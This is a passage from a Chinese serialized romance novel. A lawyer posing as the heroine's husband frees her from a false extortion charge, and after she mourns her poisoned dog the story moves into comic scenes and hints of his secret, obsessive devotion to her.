丁予期缓缓走了进来,等女警帮宋凝解开手铐,他就牵起了她的手,扬起来挥了挥:“不好意思啊各位,一场误会。” “可是不对啊,傅学森夫妇报案说,这位宋小姐是他们的儿子傅东擎的妻子啊?” 丁予期说:“那你们问她啊,究竟谁是她老公?” 说完,他就饶有兴致地看向了她。 一时间,在场的警察也全部看向了她,等待她的答复。 宋凝:“……” 已经下定决心要离婚了,她自然不愿意承认自己还是傅东擎的老婆。 但要她亲口承认是丁予期的老婆,这会不会太荒谬了一点? 宋凝不解地看着丁予期,低声问道:“你葫芦里卖的什么药?” “能救你的药。” “……你让我怎么说?” “友情提示,我们两个还没签署代理协议,我暂时不能作为律师替你保释。但是——家属可以。” 宋凝一秒都没耽误,指着丁予期对警察说:“他的。” 警察们愣了。 丁予期爽了。 宋凝无语透了。 他一把搂住宋凝的腰,把她往自己的怀里带了带:“现在真相大白了吧?宋凝是我太太,跟傅家没什么关系。” 警方说:“可是我们查过宋小姐的银行流水,确实收到了从傅学森先生的账户上转账的一个亿的现金。” “哦,是嘛?”丁予期说:“那转账的时候有备注吗?” “那倒没有。” 丁予期笑着说:“那我知道了,我太太特别会理财,加上两家人关系不错,傅伯伯就想让我太太帮着他做做投资而已。傅伯伯年纪大了,估计是忘记这件事了。” “原来是这样啊?” “是啊,不过我觉得可能还有件事,可能也有关联,”丁予期说:“我太太养了一只小狗叫雪球,昨天被人毒死了。傅伯伯承认了是他做的,我太太一气之下就烧了他收藏的所有字画,他估计因为这件事,恨上了我太太。对了,昨晚我们有报警的,查一查出警记录就知道了。” 警察看向了身边的徒弟,徒弟立马点了点头:“确实有这件事,昨晚是我值班。” 警察听完,悠悠叹了口气:“……就因为这点事,就诬告别人敲诈勒索?一个亿啊,金额特别巨大,刑期可是很长的!这不是毁了人家姑娘一辈子么。” 丁予期继续说:“对了王警官,既然对方已经不顾两家情面诬陷我太太,那我也没必要再留情面了。傅伯伯投放危险物品,按照治安管理处罚,是不是也该拘留?” 警察点了点头:“是的。” 丁予期说:“我这里有小狗的尸检报告,还有一段录音,我现在正式向您申请以投放危险物品罪拘留傅学森先生。” 说着,他拿出手机,也播放了一段录音。 这次,很明显是傅学森的声音。 “就是我毒死的,那又怎么样?杀一只狗而已,又不是杀了人,警察总不能因为我毒死了一只狗就把我抓起来吧?!” “如果杀狗犯法的话,那卖狗肉的怎么说?狗又不是什么濒危动物,杀就杀了。大不了你买这条狗多少钱,我赔你多少钱就是了,西高地也不值多少钱吧?” 宋凝惊讶地看着丁予期。 昨晚在傅家老宅里的冲突,他居然都录了音?! 这家伙还真是干一行爱一行,到哪里都不忘提前固定证据。 不过今天还真是多亏了他,不但自己脱了罪,还直接反打了傅学森一局,顺便给雪球报了仇! 她看向丁予期的眼神里也多了几分欣赏和感激。 丁予期:“别用这种眼神看着我,我会忍不住的,乖,回家再说。” 宋凝一脸莫名:“什么忍不住?” 丁予期眨眨眼,语气暧昧:“你说呢?” 﨔 第四十章 随地大小演 宋凝直接斯巴达了。 上手就要推开他,同时大喊了一句:“丁予期你个大s……” 余光里,看到几个警察排排站吃瓜瓜,她赶紧临阵改词儿。 “大……色狼!” 大比兜也变成了撒娇似的小拳拳锤他胸口:“还在警局里呢,你注意点影响。” 然后,她当着吃瓜警察们的面,把脸埋在了丁予期怀里。 从他们的角度看上去,就像是她在害羞。 丁予期也呵呵笑着摸了摸她的发丝:“哈哈哈哈,害羞啦?” 宋凝直接张嘴咬在他肩膀上。 丁予期倒吸了一口凉气:“嘶——” 宋凝赶紧松了嘴。 她下嘴也不是很重啊,只是为了泄泄愤而已,怎么能疼成这个样子? 这家伙又在装! 果然,她听到他说:“好了好了,是我来晚了,让你受苦了。害怕了吧?” 警察呵呵干笑:“我可一点都没看出来她害怕。” 还敢跟我对着呛呢。 他从警这么多年,见过的小姑娘要么一进来就哭,要么就疯狂求他们放人。 宋凝这种镇定自若还能跟警方梳理流程问题的,还是第一个。 丁予期:“不好意思啊,让大家见笑了。我老婆胆小内向,一见到外人就脸红,现在怕的都说不出话来了。” 警察:“……” 丁律师你要不要听听你在说什么。 签字,交钱。 宋凝被丁予期搂着,两人一起走出了警局。 刚一出警局大门,宋凝就推开了他。 丁予期的看了看自己僵在空中的手臂,摇了摇头,有些惋惜。 “宋经理,过河拆桥吗?利用完我就不认账了?” 宋凝走在前面。 她这个人一向是公私分明,之前跟丁予期不对盘归不对盘,今天确实是多亏了他。 于是宋凝说:“我请你吃饭吧,感谢丁律师的大恩大德。” 丁予期扁了扁嘴:“你工资都还没发,拿什么请我?傅东擎的钱?那我宁可不吃。” “怎么,舍不得花傅东擎的钱啊?看在你今天帮了我的份上我友情提醒你一句,傅东擎纯直男,而且现在还有孩子了,你跟他没可能的。” 丁予期无所谓地耸了耸肩,跟在她身后慢悠悠的往停车场走:“你就不能换一种报恩的方法?” 宋凝停下脚步:“什么方法?” “你看过武侠剧么?” “看过啊,怎么?” “滴水之恩,涌泉相报。涌泉之恩,无以为报。在武侠世界里,你应该以身相许。” 他这话说的像是调侃,但只有他知道,调侃里面包含了多少真心。 只可惜啊,宋凝现在一点都听不出来。 她露出一个疑惑的表情:“你又被脏东西附身了?” “……” “不能吧,这里可是警局门口,到处都是正道的光,魑魅魍魉应该不敢来这里才对啊。” 眼看着,两人已经走到了车子面前。 丁予期无奈地敲了敲她的脑门:“走吧宋神婆,上车。” 宋凝拉开车门坐了进去:“我们现在去哪?” 丁予期的面色严肃了一些:“雪球的尸检报告我今早已经拿到了,证据已经有了,早点让它入土为安吧。” 宋凝的神色也微微有些落寞。 “我不知道该把雪球埋在哪里。” 以前她也想过雪球的身后事,毕竟陪伴了她十五年,迟早有这么一天。 她的原计划是,就把雪球葬在家里的花园里,给它立一个小石碑。 这样它的灵魂就还是可以时不时地回来看看她,也不会迷路了。 可是现在…… 那栋别墅,那个花园,她是不会再回去了。 以后别墅也会迎来新的女主人,她不放心把雪球埋在那。 丁予期带她先去了宠物医院,接到了雪球。 或许是雪球知道,妈妈已经帮它找到了凶手,原本不肯闭上的眼睛现在也闭上了,显得格外温顺安详。 宋凝把它小小的身子抱在怀里,丁予期又带她去了一个宠物火化机构。 她为雪球挑选了一个纯白色的圆形骨灰坛,远远看上去真的像是一个雪球。 最后,丁予期带她去了江边。 他说:“这条河后面会汇入长江,最后从S市入海。我们就把雪球的骨灰撒在河里吧,以后只要你还在卫斯理酒店工作,就可以随时看到长江入海口,只要你还记得它,它就永远都在。” 卫斯理酒店就在外滩的江边。 楼层低还看不到,但是在顶层的时候,可以清晰地看到长江入海口。 宋凝觉得,这或许的确是一个好选择。 于是她把雪球的骨灰抛洒在了河水里,轻声说道:“雪球,如果你能听到的话,以后就投胎来我肚子里,继续当妈妈的孩子吧。” 河水涛涛,似乎是在回应她。 丁予期说:“我答应了。” 河边的风太大,宋凝没听清:“你说什么?” 丁予期:“没什么。” 他在心里说。 未来的丁雪球,你好,我是爸爸。 在H市这两天一夜,发生了太多事情,好在一切尘埃落定,宋凝的心也终于放了下来。 回S市的飞机上,她睡得很香甜。 或许是日有所思夜有所梦,她梦到自己生了一个女儿。 粉雕玉琢的,像是个糯米团子一样,非常可爱。 小姑娘奶声奶气地叫了一声:“妈妈,我是雪球。” 即使是梦里,她也知道自己大概是在做梦。 下午才刚刚说完想让雪球投胎当她的女儿,她果真还是太思念雪球了。 可是小姑娘转头就扑进了一个男人怀里,撒娇卖萌:“爸爸,抱~” 爸爸? 宋凝沿着男人的脚下往上看,从皮鞋,到西裤,到衬衫,再到脸…… 丁予期?! 宋凝顿时吓醒了。 飞机上的广播正好播报:“亲爱的旅客朋友们,我们的飞机已经进入降落阶段,预计三十分钟后降落在浦东机场。” 宋凝微微松了一口气,她用力拍了拍自己的脸,试图让自己清醒一点。 她怎么能梦到丁予期是雪球的爸爸呢? 这特么比林黛玉和伏地魔搞对象还要邪门啊! “醒了?”丁予期说:“快到了,你醒醒神。” 宋凝一听到他的声音就紧张起来:“我刚刚……没说什么梦话吧?” 丁予期不置可否,只是微微挑了挑眉:“倒是说了几句。” 宋凝顿时如临大敌:“我都说了什么?” “好像是在叫我……老公?” 宋凝一巴掌拍在自己脑门上,绝望地闭上了眼睛。 丁予期忍俊不禁,看着她生无可恋地样子,只觉得心里痒痒。 睡了一觉,她的脸颊微微沾了些薄粉。 唇色也恢复了,变成了诱人的红色,微微嘟着,像是一朵鲜嫩欲滴的小玫瑰。 ……想亲。 﨔 第四十一章 丁予期怪怪的 回到S市之后,生活又恢复了以前的样子。 除了傅东擎时不时的还会换陌生号码骚扰她,其他的都归于平静了。 丁予期爽快的给了她一周的假期。 “但每天我床上的动物园还得做。” 宋凝掰着手指头算了一下,距离一个月的离婚冷静期,还有23天。 好家伙,这一周她过得可真是够精彩的。 唐婷说:“雪球也算是你跟傅东擎之间的最后一丝羁绊了,它离开了,或许也是老天推了你一把。” 虽然话是这样说,但是陪伴了自己十五年的狗狗以那样一种方式惨死,宋凝还是好几天都缓不过劲儿来。 正好唐婷的新戏快开机了,这几天宋凝没事,就被她叫过去帮忙对剧本。 其实宋凝不太懂拍戏,但是她能明白唐婷的意思—— 她想给自己找点事情做,不要总是沉浸在雪球去世的悲伤里。 唐婷说:“这个丁予期……感觉好像怪怪的?” “怎么?” “说不好,但就是觉得好像哪里不太对劲。” 宋凝拿着剧本随意地翻了翻:“是个双?” “不是不是,”唐婷连连摆手:“阿凝你没发现吗?你和傅东擎才是雪球的主人,为什么雪球去世的消息,是丁予期告诉你的?” 宋凝手中的剧本啪嗒一声掉在地上。 是啊。 她这几天一直都在忙着跟傅家人斗智斗勇,给雪球处理后事。 这么关键的事情她怎么都没注意到?! “还有啊,”唐婷说:“你跟吴教授的那张错位照片,也是他拍的。时机抓的那么刚好,角度拿捏的那么精准。我们正常人就算看到了一件什么事,拿出手机,找到拍照功能,再对准目标,这一套动作下来至少也要好几秒时间吧?但是你跟吴教授的那张照片抓拍的也太及时了,就好像……” “好像什么?” “好像那些跟着我的狗仔,随时随地都用相机对准了我,只要一出现有话题度的画面,就立刻按下快门。” 宋凝听的一身冷汗:“你的意思是……丁予期跟踪我?” “不一定是他本人,也有可能是他派人跟踪你。” 宋凝越听越觉得汗毛都竖了起来。 正巧,丁予期的电话打了进来。 她接起来:“小丁总?” “下来,吃晚饭。” 宋凝看了一眼唐婷,决定试一试他:“我吃过了。” “瞎说,你除了早上喝了点米糊糊之外,今天中午就没吃。怎么,想饿死自己给雪球陪葬?” 宋凝已经按了免提,他的话唐婷也全部都听见了。 唐婷瞪大了眼睛,顿时有些惊恐。 宋凝也觉得毛毛的,但她还想继续试探一下,于是清了清嗓子说:“我在唐婷这里吃了零食,现在不饿。” “少来,赶紧下来,不然扣工资。” 宋凝深吸了一口气:“小丁总,你是在我身上装摄像头了吗?我一直在唐婷房间里,我吃没吃零食你也知道?” 这句话成功给丁予期干沉默了。 见他不说话,唐婷开始满屋子找摄像头,墙角,柜子里,窗帘后面,全都一一找了一遍。 可是一无所获。 等了许久,才听到丁予期说:“她一个女明星,又马上进组了,减肥都来不及,她那儿还能有零食?” “她又不吃,买了也是给我吃的。” 丁予期笑了一声:“赶紧的,我儿子在等你。” 唐婷:“他儿子?不是,他都有儿子了还暗恋傅东擎呐?男同不可耻,代孕可耻!” 宋凝收起手机:“我下去一趟,这些事得问清楚。” …… 卫斯理酒店的餐厅在一楼。 她刚进餐厅大门,就看到瑞贝卡在那里。 见到宋凝来了,瑞贝卡笑吟吟地迎上来:“宋经理来了,小丁总等你有一会儿了。” “他有事找我吗?” “您进去就知道了。 ” 瑞贝卡引着她进了一个小包厢里。 桌子上摆着一大桌琳琅满目的菜品,但是明显一口未动。 丁予期就坐在主位上,手指在手机上戳戳点点,似乎是在跟什么人聊天。 但是他脚边的几个“儿子”先认出来了宋凝,一起冲了过来摇尾巴求摸摸。 这几只大家伙看着挺凶,但是跟宋凝接触了几天,也知道这位大概是主人的熟人,所以对宋凝很友好。 宋凝挨个撸了撸几颗大狗头,轻咳了一声:“咳咳,丁总。” 丁予期抬眼看了看她,用下巴点了点自己旁边的位置:“坐。” 宋凝:“这地方挺大的,我坐对面就行。” 她拉开了角落里的一把椅子,刚准备坐下,就听到丁予期说:“大儿子刚刚在那撒尿了。” 宋凝:“……” “那我坐旁边这个。” “二儿子刚刚舔过那把椅子。” 宋凝又看向了最远处:“那里……” “宋经理,我身上是有什么瘟疫吗?这么躲着我?” 好歹现在他也算是自己半个恩人了。 而且离婚的事情还有求于他,宋凝也没有再跟他互呛。 她解释了一下:“我就是觉得吧,包厢这么大,椅子这么多,坐一起太热了,而且筷子还会打架。” “你放心,我用叉子,保证跟你的筷子很友好。” 宋凝无奈,最后只能走到了他身边。 丁予期已经先一步帮她拉开了椅子,玩世不恭地看着她笑:“来得正好,给你看个东西。” “什么?” 丁予期把自己的手机放在她面前:“看看。” 居然是一个蓝底白字的警方通报?! 宋凝把手机拿起来,图片放大,一字一句地详细看了过去—— “……经调查,傅某某控告宋某敲诈勒索一个亿属于蓄意报复行为,并非事实。另外,宋某反诉了傅某某投放危险物品,警方依法对傅某某采取罚款2000元,行政拘留七日的处罚。” 宋凝有点惊讶于丁予期的办事效率了。 她们这才回来了三四天,案子就办完了! 丁予期说:“我能争取到的最高处罚就是这样了,法律毕竟有滞后性,还需要不断地完善和纠错。” 宋凝其实已经很满意了。 “热搜我也给他买了。” 他在手机上点了几下,切换到了微博界面。 热搜第一就是【傅氏集团 诬告素人】,后面跟着一个深红色的【爆】字。 宋凝点进去翻了翻,这个热搜话题下面有很多人都在讨论,小狗被毒杀或者虐杀的情况下,是不是应该立法。 宋凝看完,十分衷心地说了一句:“丁总,我替雪球谢谢你了。” 丁予期挑眉,话里有话似的说道:“你别替雪球,要谢自己谢。” 﨔 第四十二章 亲爹和干妈,怎么不算是亲戚呢? “那我……” “以身相许?” 宋凝脸上的笑容僵了一下。 丁予期也收回了视线,只是说:“开个玩笑而已,吃饭吧。” “……哦。” 不知道是不是她看错了,好像丁予期的眼神里面有几分落寞。 但转念一想,他失落个什么劲儿。 他怕是巴不得赶紧帮她离完婚,好继续去跟他的“好兄弟”搞基。 “对了,还有件事要告诉你。” “嗯嗯,丁总你说。” “傅东擎应该要跟林澜订婚了。” 宋凝听完,没什么太大反应,她已经最近的一道红烧仔鸡吸引了全部注意力。 明明刚刚下来的时候还不饿的,但是人啊,就是不经逗。 鲜嫩欲滴的仔鸡泡在油汪汪鲜亮亮的汤汁里,简直是在诱惑她…… “啊,你说什么?” 丁予期没忍住,勾唇:“不是说吃了零食?” 宋凝脸色微微红:“零食不顶饱啊!丁总,我们还要等什么人吗?” “不等,吃吧。” “我们两个人吃不完这么一大桌子菜吧?” “没事,有我的三个好大儿,剩不了。” 说的也是。 三只德牧估计一顿能吃她三天的量。 肯定剩不下来。 宋凝拿起筷子就开始大快朵颐起来。 仔鸡鲜嫩多汁,浇汁豆腐爽口滑嫩,糖醋小排酸甜适口…… 宋凝吃着吃着就又发现问题了—— 这一大桌子菜,全都是她爱吃的。 选品之精准,口味之偏向,她不爱吃姜,所有的菜品都没有放姜。 甚至沙姜鸡里的沙姜都被专门挑了出去,盘子里只有鸡肉块,只有一点点淡淡的姜味去腥。 瑞贝卡正好进来了,笑着说:“宋经理觉得菜品的味道怎么样?” “挺好的。”宋凝说:“很好吃。” 瑞贝卡特地问了一句:“知道您不爱吃姜,丁总刚刚特意盯着厨师做的,沙姜也是他亲自一个一个挑出去的。” 宋凝咬着一块鸡肉有些不知所措。 “丁总……亲自挑的?” 她的表情看上去有几分茫然,还有几分防备。 瑞贝卡也察觉出来了不太对劲,干笑了一下,说道:“丁总没跟你说?” 丁予期淡淡得说道:“我也不爱吃姜,所以都挑出去了。” 宋凝重重松了一口气:“原来你是为了你自己啊,吓死我了,我还以为你专门为我准备的这一桌子菜呢。不瞒你说,这些菜都是我爱吃的。” 丁予期:“如果真的是为你准备的呢?” “嘶……那我估计得带个银针下来,挨个试一下,看看有没有下毒。” 丁予期无奈地揉了揉额角:“放心吃你的,就算我想毒死你,也不会在菜里下毒,我三个大胖儿子还没吃饭呢。” 宋凝吃的更欢畅了:“我猜也是。” 瑞贝卡在一旁看着,微微叹了口气。 还以为这一趟事情办完,宋小姐多少会对老板有些好感呢。 这两个人怎么还是这么剑拔弩张的? ……光靠老板自己怕是不行了,关键时刻得她上场了。 “对了丁总,您不是说还有件重要的事要跟宋小姐商量吗?” 丁予期:“?” 瑞贝卡:“是这样的宋小姐,我们丁总担心您因为雪球的事情心情不好,怠慢了客户,所以决定给您补偿三个好大儿。” 这次轮到宋凝:“?” 瑞贝卡:“如果您不嫌弃的话,就认下这三只德牧当您的干儿子吧!相信它们的活泼可爱和小巧机灵一定能弥补您失去雪球的痛苦的。” 活泼可爱,小巧机灵? 宋凝看着不远处趴着,正在对她吐着舌头傻笑的三只大块头。 这两个词哪个跟它们沾边? “宋小姐不愿意吗?” 宋凝一脸迟疑:“也不是不愿意,就是吧……” “那就是愿意了!”瑞贝卡拍了拍手:“宝贝们,还不快去叫妈妈?” 宋凝:啊啊啊住嘴! 三只好大儿:“汪汪!” 瑞贝卡一拍手:“好,这就算是认亲成功了!宋小姐,这几只狗很护主的,以后要是有那些故意刁难人的客户,你直接放狗就行。” 宋凝:“我倒是没问题,但是我要是当这几只德牧的妈妈,是不是有点占丁总便宜了?” 毕竟…… 他是这几只大块头的亲爹啊。 亲爹跟干妈,这是人性的扭曲还是道德的沦丧…… 怎么还玩起禁忌恋了…… 丁予期:“我也没意见。” 宋凝:“?” 瑞贝卡:“为了庆祝宋小姐有了三个大胖儿子,不如你们二位干一杯吧!” 丁予期已经举起了酒杯:“来吧,儿子他妈。” 宋凝呵呵干笑,但还是认命地拿起了酒杯,跟她碰了一下,辩解道:“干妈,干妈。” 宋凝回到唐婷房间的时候,唐婷就像是一只警犬,拉着她到处闻:“你身上什么味儿?” “可能是……妈妈的味道吧。” “什么鬼?” “告诉你一声,我刚刚无痛当妈,有了三个好大儿。” 唐婷震惊了:“你不会被丁予期带歪了吧?他搞基情你搞拉拉,还是个二婚带娃的拉子?咱虽然也是二婚,但好歹没娃啊,咱不急,就算当了拉子也不能给人当后妈,再挑挑吧。” 宋凝把脸埋在抱枕里。 这件事的走向怎么开始奇怪了起来。 她不是去质问丁予期怎么对她的生活了如指掌的吗? 什么都没来得及问不说,怎么还变成他儿子的干妈呢? 简直神展开。 …… 64楼,丁予期的房间。 三只狗乖巧地趴在他脚边,床上放着整整一床的相册。 粗粗看上去,至少上百本。 他随手捞起一本,缓缓翻看—— 高中时期的宋凝还穿着五中那套丑到爆的校服,脸上还有些青涩的稚气,但是隐隐已经能看得出是个美人胚子了。 她就随意扎了个一个高马尾,趴在桌子上睡着了。 手中的笔在莹白的小脸儿上留下了一道浅浅的印子,更显得她有些可爱娇憨地味道。 他换了一本相册,这一次,是大学时期。 她参加了辩论比赛,赢了之后,昂着下巴骄傲地笑着,像是一个打了胜仗的小鹿。 再换一本,是她的结婚照。 她穿着洁白的婚纱,挽着傅东擎的胳膊,来给他敬酒。 他还记得那时候傅东擎说:“予期,以后该叫嫂子了。” 而宋凝脸红红的,根本没注意到他。 她只是盈盈地看向傅东擎,满眼都是星星,眼中的爱意满的都能溢出来。 啪地一声,他把相册重重合上,扔到了最远的角落里。 点燃了一支烟,去了阳台。 亲爹和干妈,怎么就不能算结婚了呢? 扣扣扣—— 有人敲门。 “丁总,是我,瑞贝卡。” 丁予期“嗯”了一声:“进。” 瑞贝卡抱着一沓文件走了进来,说道:“丁总,这是宋小姐从小到大所有同学和校友的资料,全都在这里。” “嗯,放那吧。” “好的,那我出去了。” “瑞贝卡。”丁予期叫住了她。 “丁总?” “从明天开始,我要她房间的所有垃圾。” “……” “变态吗?” 瑞贝卡不敢说话。 丁予期嗤笑了一声,用牙咬着烟头,皱着眉猛地吸了一口。 这幅样子,跟他平时玩世不恭嬉笑怒骂的表情截然不同。 带着淡淡的苍凉和苦涩。 他声音低沉,眼睛微微眯起:“她的所有都是我的。” 﨔 第四十三章 拿她挡桃花 宋凝休息了几天,就算是满血复活了。 早上给下属们开完早会,然后就去刘小姐和64层老板的房间里,一人帮他们叠一个动物园。 刘小姐倒是还好,每天收走旧的,给她叠新的。 但丁予期房间里的小动物们,基本都是肉包子打狗,有去无回。 她每天早上去的时候,床上都是空的。 她一度怀疑,这些小动物是不是都被他的几个好大儿给吃了。 于是她还委婉的提醒了一句:“要不带三个儿子去做个体检?” 丁予期戴着金丝眼镜正在电脑前处理事情,闻言只是轻轻抿了一口咖啡:“放心吧,都是公的,没怀。” “……不是,我是担心你这几个儿子误食了什么东西。” “什么?” “比如布啊,纸啊什么的。” 丁予期想了想,点头:“行啊,那今天下午它们去宠物医院检查一下吧。” “下午我还要上班呢,你让瑞贝卡陪你去。” 丁予期挑眉:“瑞贝卡不用上班吗?” “那你自己去。” “你身为孩子妈,孩子体检你都不出面的?” 宋凝:“……” 中午吃完饭,丁予期开车带她去了一趟宠物医院。 她换好了便服出来,就看到丁予期的车停在酒店门口,而他本人换了一套休闲的T恤衫配牛仔裤,戴了一副黑墨镜,跟平时西装革履的样子很不一样,倒是有些运动潮男地感觉。 他牵着三只狗,正在跟一个漂亮的小姑娘说话。 宋凝不太了解他的交际圈,更不认识那个小姑娘是谁,但是…… 她偷拍了一张。 以后万一他要是再大半夜不睡觉叫她上去修什么咖啡机,她就把这张照片发给黑皮辣 妹! 辣 妹的战斗力她可是见识过的。 锁他喉的时候他根本不敢反抗! 丁予期啊丁予期,你总算有一个把柄在我手上了! 宋凝一边想着,一边再四周搜寻最佳拍摄位置。 可谁知丁予期眼睛尖的不行,她刚抬脚想往树荫那边靠,就听他叫了一声:“这里!” 女孩也看了过来,一脸稚气未脱,看起来顶多是个高中生。 宋凝走了过去,挥了挥手算是打招呼:“丁总,你跟朋友聊天啊。” 女孩指着宋凝问:“哥哥,她是谁?” 丁予期:“我三个孩子的妈。” 宋凝:“!!!” 女孩震惊了:“你们都有孩子了?” 丁予期无所谓地点了点头:“是啊,孩子老大了,七八十斤了都。” 女孩顿时红了眼眶,声音带着哭腔:“姐姐对不起,我不知道哥哥已婚已育了,我没有想要拆散你们的意思,我现在走了。” 女孩捂着嘴,嗷呜一声跑了。 跑出去好远了,还能听到她的哭声。 丁予期催促她:“上车啊,别看了。” 宋凝总算是弄明白了一点:“刚刚那个女孩是来给你表白的?” 丁予期把狗绳递给她,伸手帮她拉开了副驾驶的车门,然后倚靠在车上懒洋洋地说:“长得好看的人,被表白也是很正常的事情吧?你不也经常被表白。” 宋凝:“我哪有?” 从小到大,除了傅东擎,都没人追过她好不好?! 那时候唐婷也很奇怪,她和宋凝虽然类型不一样,但是美的各有千秋,她的追求者成群,但宋凝硬是一封表白信都没收到。 这不科学。 宋凝那时候一心学习,倒也没有把这件事放在心上。 直到后来阴差阳错地遇到了傅东擎,她才算是谈上了第一次恋爱。 只可惜,她的初恋最后也是惨淡收场。 “怎么没有?” “就是没有啊。”宋凝咕哝着:“除了给我造黄谣的,真正追我的一个都没有。” 丁予期想了想家里那整整一鞋盒的情书,欲言又止。 他敲了敲车门:“上车。” 宋凝有些迟疑:“要不我还是坐后排吧,前排一般都默认是女朋友专座,我们现在就在酒店楼下,被人看到不好。” 丁予期:“你要去后排跟三个大胖儿子挤着坐?” 宋凝看了看几只狗子的体型。 又看了看自己瘦弱的小身板。 最后还是乖乖上了副驾驶。 丁予期勾了勾唇,把几只狗子都安顿在后排,伸手撸了撸狗头。 那一盆盆狗粮真没白吃。 长得真壮实! 两只就把后排座位占满了,还有一只被迫趴在了后备箱里。 他回到驾驶位的时候,宋凝正在给谁发消息。 他扫了一眼,随口问道:“发什么呢?” “朋友圈。” 丁予期拿出手机看了一眼,顿时无语。 【宋凝:为了让狗坐的舒服点,我被发配到副驾驶来了!人不如狗呀![图片]】 配图是她刚刚拍的,三只大狗头。 宋凝拎得很清,现在酒店里上到瑞贝卡下到保洁阿姨都认识她了,今天还不知道有多少人看到了她上了丁予期的副驾驶。 她总得解释一下原因。 一方面是防止同事们误会,主要也是为了给林晓筠看的。 她只是被狗挤得没地方坐才来副驾驶的,对她的专属位置一点觊觎之心都没有! 很好,很完美。 丁予期冷哼了一声:“瞎讲究。” 然后发动了车子。 到了宠物医院,三只狗子挨个被送进去做检查。 宋凝找了个座位,坐着等。 朋友圈里评论炸了。 【唐婷:???】 【瑞贝卡:[赞][赞][赞][赞][赞][赞]】 【林晓筠:[赞][赞][赞][赞][赞][赞]】 【助理小何:太太,你旁边的男人是谁?】 【助理小何:我截图给傅总了,他正在赶去机场的路上。】 糟了! 她把傅东擎拉黑了,但是忘记拉黑小何了! 这不等于没拉黑嘛…… 于是她反手就把小何也关进了小黑屋。 但是朋友圈又提示她有人评论了,她赶紧又切回了朋友圈去看。 【丁予期 :她在我车上。】 他不是去缴费了么? 还有空评论她朋友圈? 宋凝抬起头,正好看到丁予期一手捏着一沓单据,另一手正在手机屏幕上打字,慢慢走了过来。 【助理小何:哦哦,那没事了,我去跟傅总说。】 【丁予期:她这几天都跟我在一起。】 【助理小何:那就更没事了,您办事,傅总放心。】 丁予期在她身边坐下,把手机按灭。 宋凝:“你们两个还在我朋友圈聊上了?你们不能私聊嘛?” 丁予期皱眉:“麻烦。” 他手机响起来,不用猜就知道是谁。 丁予期接了起来:“喂?” “予期,阿凝这几天一直都跟你在一起吗?” “嗯,怎么? 丁予期的反应有些冷漠,像是敷衍,又像是不耐烦。 宋凝有些讶异,这家伙跟傅东擎不是好基友么,怎么态度急转直下了? 傅东擎松了一口气:“那就好,我还以为她有了新的追求者。有你在她身边,我就放心了。” 丁予期捏了捏眉心:“没有其他事我挂了。” “你很忙吗?” 丁予期从鼻孔里哼出来一声:“嗯。” “不好意思,这段时间因为我和阿凝的事情,辛苦你了。没打扰你跟弟妹谈恋爱吧?” 丁予期本来还是臭着一张脸。 可是听到最后一句话的时候,却阴转晴,笑了起来:“没有啊,我们两个……进展的很顺利。” 﨔 第四十四章 丁予期对她的一切都知道的太过清楚 三个好大儿体检结果出来了—— 身体倍儿棒,吃嘛嘛香。 胃口大开,走的时候还一起干了一盆宠物医院给一只小博美准备的幼犬狗粮。 工作人员面露难色:“丁先生,您看这个狗粮的费用,是不是得结一下?” 丁予期正好有个电话进来,他皱眉看了一眼,然后指了指宋凝:“我先出去接个电话,你们找孩子妈。” 此时的宋凝整蹲在地上,看着笼子里的一直西高地。 这只西高地看起来比雪球还小一些,但是估计是生病了,无精打采的,趴在笼子里昏睡着。 她有些心疼,轻轻摸了摸它伸出笼子外的小爪爪。 “这位女士,请您过来结一下账吧?” 宋凝往四周看了看,确定了工作人员是在跟自己说话。 她说:“我们的费用应该结过了的。” 工作人员笑着说:“体检费用是结过了,但是刚刚三只狗狗又吃了一盆幼犬狗粮。也得麻烦您付一下账。” 宋凝下意识去找丁予期。 可是整个宠物医院大厅里空无一人,丁予期已经不见人影了。 她问道:“那个……刚刚跟我一起来的那个人呢?” “哦,您是说三只狗狗的爸爸吧?他刚刚有个紧急电话说要出去接,让我们来找您结一下账。” 宋凝无语:“我……算了,多少钱。。” 工作人员说:“三千八。” “……那你们还是等他回来了结吧。” 丁予期握着手机回来的时候,看了宋凝一眼。 工作人员连忙迎了上去:“丁先生,孩子妈说要等您回来。” 丁予期微微勾唇:“等我干什么?” “结账。”宋凝一脸不解:“什么狗粮啊,一盆三千八。人吃一顿饭都没这么贵。” 工作人员解释说:“这是从澳洲进口的,里面添加了澳洲牛肉、海鲜鱼油还有羊奶粉,品质非常好,对狗狗的健康和毛发都特别好……” 丁予期直接爽快地付了账,宋凝跟在他身后,牵着几只狗子出了门。 安顿好狗子,重新上了车,宋凝一边系安全带,一边咕哝着:“那什么进口狗粮,都是卖噱头的,自己买原材料回来给狗子做饭,根本用不了那么多钱。” 丁予期:“你还会做狗饭?” “嗯啊, 毛球是个玻璃胃,以前没少给它做东西吃。” 丁予期修长的手指在方向盘上敲了敲,思索了一下,说:“今天医生给我们的大胖儿子们做了检查,虽然暂时没什么事,但是都有点超重,有高血脂的风险。如果自己做饭的话,是不是能好一点?” 宋凝点点头:“那肯定了,狗粮干巴巴的,肯定不如现做的好吃啊,而且还能控制他们的食量。” “那这样吧。”丁予期说:“你现在是跟唐婷住一个房间是吧?” “……对啊,怎么。” 他说:“唐婷快进组了,到时候化妆师进进出出的,你住在那里也不方便。我在酒店另外开一个房间给你,不收你费用,每天你来给狗子们做饭抵房租就行。” 宋凝还真思索了一下这个方案。 最近几天,唐婷已经开始为进组做准备了。 经常会有服装师过来给她量尺寸做戏服,导演和编剧偶尔也会来找她聊聊剧本。 唐婷虽然没说什么,但她住在房间里,总是有些打扰她工作了。 她也不是没想过要搬出来,但S市房租太贵,便宜的地方通勤又很远,她这几天确实正在为这件事苦恼。 丁予期提出的这个方案,的确能解决她的燃眉之急。 但是…… 以卫斯理酒店的房价,是她做做狗饭就能抵房租的吗? “那肯定是不够的,”丁予期说:“反正都要做饭,人饭跟狗饭一起做了吧。餐厅的菜我也吃腻了,正好换换口味。” 说完,他偏头瞄了一眼宋凝。 只见宋凝眯着眼睛,一脸探究地看着他。 “有话你就直说。” 宋凝说:“丁总,你真是下了好大一盘棋啊。” 丁予期微微心惊。 她察觉了? 不过察觉了也好,迟早也得说开的。 他舔了舔唇,藏在心里十五年的秘密呼之欲出,饶是他也有些难耐和拘谨。 “宋凝,我其实……” “你为了傅东擎,还真是鞠躬尽瘁死而后已啊!” 丁予期的笑容凝固在脸上:“什么?” 